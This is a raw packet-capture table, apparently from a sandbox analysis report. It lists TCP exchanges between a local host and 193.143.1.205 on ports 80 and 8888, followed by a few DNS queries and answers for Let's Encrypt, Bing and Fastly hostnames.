Jan 10, 2025 21:20:28.725650072 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725653887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725662947 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725667953 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725684881 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725703955 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725712061 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725719929 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725738049 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725754023 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725771904 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725773096 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725771904 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725786924 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725801945 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725814104 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725824118 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725826979 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725838900 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725852013 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725866079 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.725867033 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.725898027 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.727849007 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.727863073 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.727875948 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.727886915 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.727900028 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.727910995 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.727910995 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.727938890 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.727963924 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.728101015 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.728147984 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.728204012 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.728216887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.728229046 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.728240013 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.728251934 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.728260040 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.728282928 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.728282928 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.728297949 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.728311062 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.728323936 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.728333950 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.728338003 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.728353977 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.728357077 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.728364944 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.728382111 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.728399992 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.729031086 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.729085922 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.729146957 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.733962059 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.750426054 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.750458002 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.750754118 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.756791115 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.756856918 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.756894112 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.756927967 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.756963015 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.756964922 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.756999016 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.757030010 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.757050991 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.769826889 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.779603004 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.779706001 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.779736042 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.779769897 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.779813051 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.779813051 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.779843092 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.779891968 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.779930115 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.779937983 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.779979944 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.780014038 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.780025005 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.780047894 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.780082941 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.780100107 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.780114889 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.780148983 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.780177116 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.780183077 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.780220032 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.780225992 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.784053087 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.784112930 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.784135103 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.784171104 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.784218073 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.784221888 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.784254074 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.784288883 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.784322977 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.784324884 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.784375906 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.786866903 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.813999891 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.814137936 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.814227104 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.814279079 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.814304113 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.814311981 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.814351082 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.814352036 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.814408064 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.814428091 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.814441919 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.814476013 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.814506054 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.814578056 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.814634085 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.814672947 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.814774990 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.814861059 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.814915895 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.814943075 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815028906 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815064907 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815083981 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.815128088 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815136909 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.815229893 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815280914 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.815283060 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815342903 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815413952 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815468073 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.815469027 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815491915 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.815504074 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815525055 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.815537930 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815573931 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815593004 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.815607071 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815642118 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815658092 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.815676928 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815711021 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815727949 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.815742016 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815778017 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815804005 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.815812111 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815846920 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815861940 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.815885067 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815915108 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815931082 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815948009 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815958977 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.815965891 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815979958 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.815983057 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.815999985 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816013098 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.816019058 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816035032 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816051960 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816052914 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.816066027 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816081047 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.816086054 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816098928 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816111088 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816121101 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.816126108 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816133976 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816140890 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816143990 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.816147089 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816152096 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816154957 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816159964 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816165924 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816176891 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816181898 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.816189051 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816200972 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816211939 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816217899 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816226959 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816232920 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816235065 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.816235065 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.816237926 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816243887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816250086 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816258907 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.816262007 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816272974 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816287041 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816287994 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.816296101 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816307068 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816308975 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.816319942 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816332102 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816342115 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.816354990 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.816374063 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.818424940 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818464041 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818479061 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818479061 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.818490028 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818519115 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818527937 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818538904 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818543911 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.818550110 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818561077 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818567038 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.818588972 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.818625927 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.818800926 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818820000 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818841934 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818857908 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818864107 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.818870068 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818881989 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818892956 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818902016 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.818911076 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.818948030 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.818948984 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.819684029 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.819705963 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.819715977 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.819761038 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.819772005 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.819785118 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.819797039 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.819809914 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.819820881 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.819825888 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.819860935 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.819860935 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.821253061 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.870357990 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.870414972 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.870548010 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.870580912 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.870611906 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.870615959 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.870649099 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.870695114 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.870701075 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.870744944 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.870744944 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.870783091 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.870794058 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.870817900 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.870851994 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.870863914 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.870883942 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.870932102 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.870935917 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.870965958 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.871001005 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.871018887 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.874748945 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.874777079 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.874789953 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.874811888 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.874814987 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.874825001 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.874838114 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.874850035 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.874856949 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.874865055 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.874881029 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.874921083 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.875582933 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.904442072 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904470921 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904484034 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904495001 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904515028 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904526949 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904540062 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904551029 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904562950 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904573917 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904592037 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904603958 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904613018 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904624939 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904624939 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.904624939 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.904624939 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.904624939 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.904638052 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904679060 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.904782057 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.904814959 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904833078 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904845953 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904859066 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904870033 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904881001 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.904922009 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.904922009 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.904922009 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.999949932 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:30.249272108 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:30.254160881 CET	8888	49722	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:30.254230976 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:30.254616022 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:30.259546041 CET	8888	49722	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:31.098047972 CET	8888	49722	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:31.139211893 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:31.305306911 CET	49722	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:20:40.061816931 CET	50190	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:20:40.061816931 CET	192.168.2.6	1.1.1.1	0x5377	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:20:40.073399067 CET	1.1.1.1	192.168.2.6	0x5377	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:20:54.147984982 CET	1.1.1.1	192.168.2.6	0x3239	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:20:54.147984982 CET	1.1.1.1	192.168.2.6	0x3239	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:20:54.147984982 CET	1.1.1.1	192.168.2.6	0x3239	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:21:12.147098064 CET	1.1.1.1	192.168.2.6	0xdbeb	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:21:12.147098064 CET	1.1.1.1	192.168.2.6	0xdbeb	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
